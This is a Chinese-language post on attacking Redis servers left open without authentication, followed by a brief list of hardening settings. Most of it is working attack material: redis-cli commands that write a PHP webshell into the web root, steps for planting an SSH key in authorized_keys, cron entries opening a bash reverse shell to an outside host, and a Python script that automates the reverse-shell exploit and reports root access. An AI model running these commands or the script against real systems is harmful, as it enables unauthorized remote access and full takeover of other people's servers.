=Start= 缘由:近年来,随着Redis的流行,越来越多的安全研究人员注意到了Redis的安全问题,并通过Redis发起攻击。虽然我不做那方面,但是了解一下和Redis相关的安全攻击手段也是很有必要的。 正文:和Redis相关的安全问题:利用条件:默认情况下如果没有用「bind指令」对可连接IP做限制,则会出现「远程未授权访问」的情况,易被攻击者用来获取敏感信息以及进行进一步攻击。 利用方式:本地直接用redis-cli或图形化的工具连接远程的Redis数据库。 - 192.168.63.130:6379> config set dir /var/www/html/
- OK
- 192.168.63.130:6379> config set dbfilename shell.php
- OK
- 192.168.63.130:6379> set x "<?php phpinfo();?>" (或者是set x "?php phpinfo();?")
- OK
- 192.168.63.130:6379> save
- OK
复制代码
利用条件:redis远程未授权访问,知道Web目录的绝对路径,且运行redis的用户有对Web目录的写权限。 利用方式:连上远端未授权访问的redis并用命令向Web目录写入一句话木马(也可以是大马),然后本地用菜刀连接。 - 获取SSH连接(https://www.chinabaiker.com/thread-2359-1-1.html)
利用条件:redis远程未授权访问,知道运行redis的用户名,且运行redis的用户可以进行SSH连接。 利用方式:在本地生产公私钥文件,然后连上远端redis并将自己的公钥写入远端服务器的 authotrized_keys 文件里,然后攻击者即可远程利用自己的私钥登录该服务器。 利用条件:已获取一个低权限的Webshell,服务器上运行着本地可访问的redis,且运行redis的用户权限较高。 利用方式:通过Webshell操作redis写SSH key文件以进行提权操作。 - $ redis-cli config set dir /var/spool/cron/
- $ redis-cli config set dbfilename root
- $ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/10.2.11.11/8443 0>&1 \n\n" | redis-cli -x set 1
- $ redis-cli save
- [user@10.2.11.11 ~]$ nc -lvv 8443
复制代码前提: 1.redis由root用户启动。 2.开启cron的时候,/var/spool/cron linux机器下默认的计划任务,linux会定时去执行里面的任务。 启动服务 :/sbin/service crond start 或 /etc/init.d/crond start(centos系列) sudo /etc/init.d/cron start (ubuntu系列) 一.windows下 config set dir /var/spool/cron
config set dbfilename root
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
save 二.linux下 echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -x set 1
redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
redis-cli -h 192.168.118.129 config set dbfilename root
redis-cli -h 192.168.118.129 save 三.再贴一段python代码 - import redis
- def shell_exploit():
- try:
- r =redis.StrictRedis(host='192.168.118.129',port=6379,db=0,socket_timeout=10)
- r.set(1, '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/your_ip/3333 0>&1\n\n')
- r.config_set('dir','/var/spool/cron')
- r.config_set('dbfilename','root')
- r.save()
- print "success!"
- except:
- print "fail!"
- pass
- shell_exploit()
复制代码反弹成功,root权限! - Redis安全配置
- 以低权限启动;
- 设置bind指令,限定可以连接Redis服务器的IP;
- 修改Redis的默认端口;
- 设置密码;
- 禁用部分危险命令;
- 如果必需要对外提供服务的话,设置iptables规则;
|